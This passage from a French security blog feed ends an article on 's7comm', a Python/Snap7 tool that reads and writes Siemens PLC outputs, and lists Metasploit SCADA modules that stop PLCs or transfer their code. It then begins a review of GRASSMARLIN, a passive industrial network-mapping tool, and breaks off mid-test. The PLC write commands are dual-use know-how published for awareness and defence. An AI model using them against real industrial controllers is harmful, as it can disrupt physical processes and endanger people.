<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le module Metasploit </span><i style="text-indent: -18pt;">modbusclient</i><span style="text-indent: -18pt;"> [2], permettant de lire et d&#8217;écrire sur les coils / registres de l&#8217;automate</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le module Metasploit </span><i style="text-indent: -18pt;">modicon_command</i><span style="text-indent: -18pt;"> [3], permettant d&#8217;arrêter / démarrer l&#8217;automate à distance</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le module Metasploit </span><i style="text-indent: -18pt;">modicon_stux_transfer </i><span style="text-indent: -18pt;">[4], permettant de récupérer / télécharger le code de l&#8217;automate</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le script perl </span><i style="text-indent: -18pt;">mbtget</i><span style="text-indent: -18pt;"> [5], permettant de lire et d&#8217;écrire sur les coils / registres de l&#8217;automate</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">La librairie python </span><i style="text-indent: -18pt;">Pymodbus</i><span style="text-indent: -18pt;"> [6], permettant de communiquer avec des automates Schneider</span></li>
</ul>
</div>
<div class="MsoNormal">En revanche, le protocole <span class="Miseenvaleur" style="color: #00477f;"><b>S7 Communication (S7comm) </b></span>est quant à lui nettement moins fourni en outils,  bien qu&#8217;utilisé par tous les automates <span class="Miseenvaleur" style="color: #00477f;"><b>Siemens</b></span>.<br />
Il existe cependant la <span class="Miseenvaleur" style="color: #00477f;"><b>bibliothèque Snap7</b></span> [7] ainsi qu&#8217;un wrapper Python utilisant ce protocole.</div>
<div class="MsoNormal">Nous nous sommes ainsi lancés dans le <span class="Miseenvaleur" style="color: #00477f;"><b>développement d&#8217;un nouveau script baptisé « s7comm »</b></span>, permettant facilement de dialoguer avec les automates Siemens.</div>
<div class="MsoNormal"></div>
<div class="MsoNormal" style="break-after: avoid; page-break-after: avoid;"><span class="Miseenvaleur" style="color: #00477f;"><b>Présentation de s7comm </b></span>s7comm [8] est un <span class="Miseenvaleur" style="color: #00477f;"><b>script python</b></span> utilisant la librairie Snap7 permettant de <span class="Miseenvaleur" style="color: #00477f;"><b>lire et écrire sur les sorties des automates Siemens</b></span>.</div>
<div class="MsoNormal">Les <span class="Miseenvaleur" style="color: #00477f;"><b>différents arguments </b></span>sont directement spécifiés en ligne de commande, exactement comme pour le script <span class="Miseenvaleur" style="color: #00477f;"><b>mbtget</b></span> pour le protocole <span class="Miseenvaleur" style="color: #00477f;"><b>Modbus</b></span> :</div>
<div></div>
<div style="background: #dce5ec; border: 1pt solid #308987; margin-left: 42.55pt; margin-right: 0cm; padding: 1pt 4pt;">
<div class="LignedecommandeCxSpFirst" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;"><span lang="EN-US">$ python<br />
s7comm.py -a address -m mode -n number -d data ip_address</span><b></b></div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;"></div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-a     Adresse à partir de laquelle les<br />
données vont être lues / écrites</div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-m [r|w]     Choix du mode de<br />
fonctionnement : lecture ou écriture sur l&#8217;automate</div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-n     Nombre de données à lire /<br />
écrire</div>
<div class="LignedecommandeCxSpLast" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-d     Données en bit à écrire (exemple<br />
0110)<span style="font-size: 11pt;"> </span></div>
</div>
<div></div>
<div class="MsoNormal">Les <span class="Miseenvaleur" style="color: #00477f;"><b>deux principales </b></span>fonctions utilisées de la <span class="Miseenvaleur" style="color: #00477f;"><b>bibliothèque Snap 7 </b></span>sont les suivantes :</div>
<div class="MsoNormal"><span lang="EN-US" style="font-family: 'courier new'; mso-ansi-language: EN-US;">             s7.read_area(snap7.types.areas[&#8216;PA&#8217;], 0, start, size)</span></div>
<div class="Enum1" style="margin-left: 49.6pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">Cette fonction permet de <span class="Miseenvaleur" style="color: #00477f;"><b>lire des données sur les sorties de l&#8217;automate</b></span> en utilisant le protocole S7comm.<br />
Elle admet quatre arguments :</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->1. Le <span class="Miseenvaleur" style="color: #00477f;"><b>type</b></span> de données : dans ce cas, il s&#8217;agit des <span class="Miseenvaleur" style="color: #00477f;"><b>sorties numériques </b></span>(« tout ou rien », tor)<span class="Miseenvaleur" style="color: #00477f;"><b> de l&#8217;automate</b></span>.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->2. Le <span class="Miseenvaleur" style="color: #00477f;"><b>numéro de la base de données</b></span> : dans le cas des sorties numériques, cette option n&#8217;est pas utilisée et a donc toujours la valeur 0.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->3. Le <span class="Miseenvaleur" style="color: #00477f;"><b>byte d&#8217;offset </b></span>: il s&#8217;agit du premier byte lu.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]--><span style="font-family: 'times new roman' , 'serif'; font-size: 12pt;">4.<span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">      </span></span><!--[endif]-->Le <span class="Miseenvaleur" style="color: #00477f;"><b>nombre</b></span> de bytes à lire.</div>
<div></div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><span lang="EN-US" style="font-family: 'courier new'; mso-ansi-language: EN-US;">s7.write_area(snap7.types.areas[&#8216;PA&#8217;], 0, start, data)</span></div>
<div class="Enum1" style="margin-left: 49.6pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">Cette fonction permet <span class="Miseenvaleur" style="color: #00477f;"><b>d&#8217;écrire des données sur les sorties de l&#8217;automate</b></span>.</div>
<div class="Enum1" style="margin-left: 49.6pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">Elle a quatre arguments :</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->1. Le <span class="Miseenvaleur" style="color: #00477f;"><b>type de données </b></span>: dans ce cas, il s&#8217;agit des sorties numériques de l&#8217;automate.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->2. Le <span class="Miseenvaleur" style="color: #00477f;"><b>numéro de la base de données</b></span> : dans le cas des sorties numériques, cette option n&#8217;est pas utilisée et a donc toujours la valeur 0.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->3. Le <span class="Miseenvaleur" style="color: #00477f;"><b>byte d&#8217;offset </b></span>: il s&#8217;agit du premier byte sur lequel on va écrire.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->4. Les <span class="Miseenvaleur" style="color: #00477f;"><b>données</b></span> à écrire sous forme de bytearray.</div>
<div></div>
<div class="MsoNormal">Chaque sortie de l&#8217;automate a une <span class="Miseenvaleur" style="color: #00477f;"><b>valeur sur un bit</b></span>. <span class="Miseenvaleur" style="color: #00477f;"><b>Huit sorties</b></span> peuvent donc être écrites sur un byte. Plusieurs opérations doivent donc être réalisées <span class="Miseenvaleur" style="color: #00477f;"><b>avant d&#8217;envoyer la commande</b></span> puisque les arguments <span style="font-family: 'courier new';">&#8220;address&#8221;</span> et <span style="font-family: 'courier new';">&#8220;number&#8221;</span> donnés en ligne de commande font référence à des bits. Notamment, si le premier bit à lire n&#8217;est pas le premier bit du byte, il y a un offset à prendre en compte.</div>
<div class="MsoNormal">Pour finir, voici deux exemples d&#8217;utilisation :</div>
<div></div>
<div class="Enum1" style="margin-left: 88.9pt; mso-list: l1 level1 lfo5; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->1. Lecture de 8 bits à partir de l&#8217;adresse 0 :</div>
<div class="Enum1" style="margin-left: 67.05pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">
<figure id="post-15922 media-15922" class="align-center"><img loading="lazy" decoding="async" class="size-full wp-image-15922 alignnone" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-1.png" alt="" width="320" height="135" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-1-71x30.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="Enum1" style="margin-left: 88.9pt; mso-list: l1 level1 lfo5; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]--><span style="font-family: 'times new roman' , 'serif'; font-size: 12pt;">2.<span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">      </span></span><!--[endif]-->Écriture de la valeur 1 sur 8 bits à partir de l&#8217;adresse 0</div>
<div class="Enum1" style="margin-left: 67.05pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">
<figure id="post-15924 media-15924" class="align-center"><img loading="lazy" decoding="async" class="size-full wp-image-15924 alignnone" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last.png" alt="" width="320" height="25" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-71x6.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="MsoNormal"><b><span style="color: #00477f;">Conclusion</span></b></div>
<div class="MsoNormal">À travers la publication de <span class="Miseenvaleur" style="color: #00477f;"><b>l’outil s7comm</b></span>  comme de cet article, nous souhaitons rappeler la relative facilité à communiquer avec des <span class="Miseenvaleur" style="color: #00477f;"><b>automates industriels</b></span>.<br />
Un attaquant, une fois arrivé sur le SI industriel, peut directement <span class="Miseenvaleur" style="color: #00477f;"><b>perturber le procédé industriel</b></span>. Vos commentaires et contributions sont les bienvenus afin de fiabiliser et d’améliorer cet outil.<b></b></div>
<div></div>
<div></div>
<div class="MsoNormal" style="break-after: avoid; line-height: 11.5pt; page-break-after: avoid; text-autospace: none; vertical-align: middle;"><span style="color: #9c9d9e;">Sources :</span></div>
<div class="Tableau">[1] <a href="https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid">https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid</a></div>
<div class="Tableau">[2] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/scada/modbusclient.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/scada/modbusclient.rb</a></div>
<div class="Tableau">[3] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_command.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_command.rb</a></div>
<div class="Tableau">[4] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb</a></div>
<div class="Tableau">[5] <a href="https://github.com/sourceperl/mbtget/blob/master/scripts/mbtget">https://github.com/sourceperl/mbtget/blob/master/scripts/mbtget</a></div>
<div class="Tableau">[6] <a href="https://github.com/bashwork/pymodbus">https://github.com/bashwork/pymodbus</a></div>
<div class="Tableau">[7] <span class="MsoHyperlink"><a href="http://python-snap7.readthedocs.org/en/latest/installation.html">http://python-snap7.readthedocs.org/en/latest/installation.html</a></span></div>
<div class="Tableau">[8] <a href="https://github.com/alexandrinetorrents/s7comm">https://github.com/alexandrinetorrents/s7comm</a></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/05/s7comm-un-outil-de-communication-avec_24/">S7comm : un outil de communication avec les Automates Programmables Industriels Siemens</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels</title>
		<link>https://www.riskinsight-wavestone.com/en/2016/03/test-de-grassmarlin-outil-open-source/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Mon, 07 Mar 2016 09:00:41 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[open-source]]></category>
		<category><![CDATA[outil]]></category>
		<category><![CDATA[SI industriel]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15683</guid>

					<description><![CDATA[<p>La première étape dans un projet de sécurisation de son SI industriel est bien souvent la création, ou la fiabilisation, d’un inventaire de l’ensemble des composants. En effet, l’inventaire et la documentation existante peuvent s’avérer insuffisant ou non-fiable. C’est à...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/03/test-de-grassmarlin-outil-open-source/">Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15684 media-15684" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15684 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-1.png" alt="" width="640" height="332" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-1-368x191.png 368w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-1-71x37.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<p><i>La première étape dans un projet de sécurisation de son SI industriel est bien souvent la création, ou la fiabilisation, d’un inventaire de l’ensemble des composants. En effet, l’inventaire et la documentation existante peuvent s’avérer insuffisant ou non-fiable.</i><br />
<i>C’est à ce besoin que répond l’outil GRASSMARLIN en fournissant une solution de cartographie réseau passive adaptée au secteur industriel.</i></p>
<p>&nbsp;</p>
<h1>Présentation de GRASSMARLIN</h1>
<p>GRASSMARLIN est un outil permettant de cartographier de manière passive un réseau industriel. Cet outil, premièrement développé par la National Security Agency (NSA) des États-Unis est désormais Open-Source et directement accessible sur GitHub (<a href="https://github.com/iadgov/GRASSMARLIN">https://github.com/iadgov/GRASSMARLIN</a>).<br />
L’outil GRASSMARLIN permet d’obtenir une image ou « snapshot » du système d’information (SI) industriel avec notamment:</p>
<ul>
<li>Les équipements présents</li>
<li>Les communications existantes entre les équipements</li>
<li>Des méta-informations obtenues à partir des communications (localisation, constructeurs)</li>
</ul>
<p>L’outil est disponible sur la plateforme Windows (version 7+, 64bits uniquement), certaines distributions Linux (Fedora, Ubuntu) et est téléchargeable au lien suivant : <a href="https://github.com/iadgov/GRASSMARLIN/releases/latest">https://github.com/iadgov/GRASSMARLIN/releases/latest</a>.</p>
<p>Une perte de disponibilité d’un équipement du SI industriel pouvant avoir des conséquences importantes (arrêt de la production, perte de visibilité pour les opérateurs, …), la cartographie est entièrement passive. Les communications sont enregistrées puis analysées, contrairement à un scan actif avec nmap ou plcscan qui vont activement envoyer des paquets à destination de toutes les adresses IP et analyser les éventuels retours.</p>
<h1>Fonctionnement de Grassmarlin</h1>
<p>GRASSMARLIN permet d’obtenir deux types de topologies du réseau industriel :</p>
<ul>
<li>La « Logical View » : fournit une liste des équipements présents et des communications existantes, nommée par la suite la vue logique.</li>
<li>La « Physical View » : permet d’obtenir les liens physiques entre les équipements en donnant par exemple le numéro de port d’un routeur auquel un automate est connecté, nommée par la suite la vue physique.</li>
</ul>
<h2>La détection passive</h2>
<p>La méthode de découverte de réseau étant passive l’outil GRASSMARLIN ne génère aucun trafic sur le réseau. Ainsi afin d’obtenir des résultats de la vue logique ce dernier va simplement écouter les communications sur le réseau tel un analyseur de trame classique. En d’autres termes, GRASSMARLIN ne pourra analyser que les communications qu’il est en mesure d’écouter sur sa machine hôte.</p>
<figure id="post-15686 media-15686" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15686 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-1.png" alt="" width="640" height="450" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-1-272x191.png 272w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-1-55x39.png 55w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><i><u>Figure 1 : Visibilité de GRASSMARLIN</u></i></div>
<div style="text-align: center;"></div>
<p>Il est aussi possible d’obtenir une topologie réseau à partir de captures réseaux (fichiers PCAP) générées à des instants ultérieurs à d’autres points du réseau.<br />
De même, pour générer la vue physique GRASSMARLIN utilise des logs de routeur Cisco et reste donc totalement passif.</p>
<h3>Vue logique</h3>
<p>Dans cette vue, la topologie du réseau se présente comme suit :</p>
<figure id="post-15688 media-15688" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15688 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-2.png" alt="" width="400" height="336" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-2.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-2-227x191.png 227w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-2-46x39.png 46w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div style="text-align: center;"><i><u>Figure 2 : Vue logique avec 2 automates Siemens</u></i></div>
<div style="text-align: center;"><i><u> </u></i></div>
<div style="text-align: left;">Cette topologie est générée à partir d’une capture réseau de deux équipements industriels utilisant le protocole de communication industriel S7comm. Les fichiers PCAP peuvent être  retrouvés à cette adresse : <a href="https://wiki.wireshark.org/S7comm">https://wiki.wireshark.org/S7comm</a></div>
<p>La carte principale à droite permet de donner les équipements présents, identifiés par leur adresse IP, ainsi que les communications existantes entre les équipements et les sous-réseaux IP.<br />
Par ailleurs, GRASSMARLIN reconnait à l’aide de signatures les protocoles et équipements industriels :</p>
<figure id="post-15690 media-15690" class="align-none"></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-15692 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-1.png" alt="" width="640" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-1-437x143.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-1-71x23.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<div style="text-align: center;"><i><u>Figure 3 : Vue logique et détails fournis par GRASSMARLIN</u></i></div>
<div style="text-align: center;"></div>
<p>Dans le cas présent, le protocole utilisé est bien reconnu comme S7comm. Le rôle des équipements dans les communications est aussi informé : le master (ou maître) donne les consignes lorsque le slave (ou esclave) exécute les commandes. Le Vendor Name (nom du constructeur) est donné et permet aux gestionnaires de parcs industriels de pouvoir se repérer plus aisément. Enfin, dans le cas où les adresses IP sont publiques (ce qui n’est pas le cas ici) le pays d’origine de l’équipement est informé.<br />
Ces informations sont générées suite à la confrontation des captures réseaux avec les signatures connues par GRASSMARLIN, l’attribut Confidence (confiance) échelonné de 1 (non confiant) à 5 (confiant) informe alors sur le degré de véracité des informations données.<br />
GRASSMARLIN fournit aussi une vision textuelle de la carte à l’aide d’un arbre de connections (présent à gauche sur la figure 2) renseignant les équipements par sous-réseaux.<br />
Il est aussi possible d’isoler les communications liées à un équipement en particulier et d’obtenir des premiers éléments d’analyses tels que : la taille des paquets échangés, l’instant t de l’échange, l’origine du paquet (si plusieurs fichiers PCAP’s sont utilisés) :</p>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="aligncenter wp-image-15694 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-1.png" alt="" width="320" height="198" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-1-309x191.png 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-1-63x39.png 63w" sizes="auto, (max-width: 320px) 100vw, 320px" /></div>
<div style="text-align: center;"><i><u>Figure 4 : Fenêtre d’analyse des communications d’un automate</u></i></div>
<div style="text-align: center;"></div>
<h3>Signatures protocolaires</h3>
<p>GRASSMARLIN embarque des signatures permettant de reconnaitre les protocoles utilisés sur la vue logique.<br />
Chaque signature peut être composée de deux types d’élément :</p>
<ul>
<li>L’élément Filter (ou filtre) qui décrit un attribut à détecter.</li>
<li>L’élément Payload (ou charge utile) qui permet de retourner des informations à l’utilisateur.</li>
</ul>
<p>Une signature peut contenir plusieurs Filter et chaque Payload fait référence à un Filter :</p>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: center;">
<figure id="post-15696 media-15696" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15696 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-1.png" alt="" width="320" height="289" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-1-211x191.png 211w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-1-43x39.png 43w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<p><i><u>Figure 5 : Exemple de signature MODBUS</u></i></p>
</div>
<div style="text-align: center;"></div>
<p>Les Filter permettent essentiellement de décrire des attributs protocolaires des couches 2 à 4 du modèle OSI. Voici une liste des Filter actuellement disponibles :</p>
<figure id="post-15698 media-15698" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15698 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.png" alt="" width="400" height="179" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8-71x32.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div style="text-align: center;"><i><u>Tableau 1 : Ensemble des filtres possibles</u></i></div>
<div style="text-align: center;"></div>
<p>Les Payload quant à eux permettent de rajouter une description à un élément réseau, d’extraire des valeurs d’un paquet ou encore d’afficher une information en fonction de la présence d’un motif dans un paquet.<br />
La version actuelle de GRASSMARLIN (v3) compte 54 signatures couvrant les protocoles industriels couramment utilisés. Du fait du récent passage de l’outil en open-source (28/01/16) il est probable que la bibliothèque de signature s’enrichisse avec les années à venir.<br />
Les signatures sont éditées sous le format XML néanmoins un outil graphique est proposé – FingerPrint Editor &#8211; afin de permettre une création plus aisée de signatures :</p>
<figure id="post-15700 media-15700" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15700 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1.png" alt="" width="400" height="308" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1-248x191.png 248w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1-155x120.png 155w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div style="text-align: center;"><i><u>Figure 6 : Fingerprint Editor, outil graphique d’édition de signatures</u></i></div>
<div style="text-align: center;"></div>
<h3>Vue physique</h3>
<p>La topologie physique permet d’obtenir les connexions physiques existantes entre les équipements.</p>
<figure id="post-15702 media-15702" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15702 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-1.png" alt="" width="640" height="330" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-1-370x191.png 370w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-1-71x37.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div style="text-align: center;"><i><u>Figure 7 : Vue physique</u></i></div>
<div style="text-align: center;"></div>
<p>Ces vues, plus orientées connectivité réseau, permettent d’obtenir les liaisons physiques existantes entre les équipements industriels et leurs connexions aux équipements réseaux.<br />
À ce jour seul les routeurs Cisco sont supportés et les vues sont générées à partir des résultats des 3 commandes suivantes :</p>
<ul>
<li>“show running-config”</li>
<li>“show ip arp” (OU) “show mac address-table”</li>
<li>“show interfaces”</li>
</ul>
<p>Une fois la sortie de ces commandes enregistrée dans un fichier texte, GRASSMARLIN est en mesure de générer à partir de ce dernier la vue physique.</p>
<h3>Partage de données</h3>
<p>L’exportation des données est gérée par GRASSMARLIN avec 3 types d’export</p>
<ul>
<li>L’exportation des vues sous format d’images (PNG).</li>
<li>L’exportation des données sous format XML :
<ul>
<li>Enregistre l’ensemble de l’arbre de connexion de la vue logique.</li>
<li>Ces données peuvent être utilisées comme des données de session lors de prochaine importation.</li>
</ul>
</li>
<li>L’exportation des données en partage : création d’une archive avec les données sous format XML et les fichiers de captures réseaux générés.</li>
</ul>
<h2>Tests sur banc d’essai</h2>
<p>Des tests sur une des maquettes SI industriel de Solucom ont été réalisés afin de confronter l’outil à un cas d’utilisation concret avec de réels équipements industriels.</p>
<h3>Présentation banc d’essai</h3>
<p>Le banc d’essai simule un aiguillage de train et est composé de :</p>
<ul>
<li>1 interface homme/machine (IHM) Siemens ;</li>
<li>1 automate Siemens ;</li>
<li>2 automates Schneider ;</li>
<li>1 switch manageable.</li>
</ul>
<figure id="post-15704 media-15704" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15704 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.jpg" alt="" width="320" height="239" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11-256x191.jpg 256w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11-52x39.jpg 52w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div style="text-align: center;"><i><u>Figure 8 : Photo du banc d’essai</u></i></div>
<div style="text-align: center;"></div>
<p>Un poste de travail disposant de Grassmarlin est directement connecté à un port en mirroring sur le switch et accède donc à l’ensemble des communications de la maquette. Par ailleurs, aucun équipement Cisco n’étant présent sur la maquette seule la vue logique a été testée.</p>
<h3>Réalisation des tests</h3>
<p>Suite à une capture en temps réel des trames, GRASSMARLIN a pu générer la vue logique suivante :</p>
<figure id="post-15706 media-15706" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15706 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-1.png" alt="" width="320" height="281" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-1-218x191.png 218w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-1-44x39.png 44w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><i><u>Figure 9 : Vue logique de la maquette</u></i></div>
<div style="text-align: center;"></div>
<div style="text-align: left;">Et, après réorganisation (manuelle) de la vue nous obtenons la vue suivante :</div>
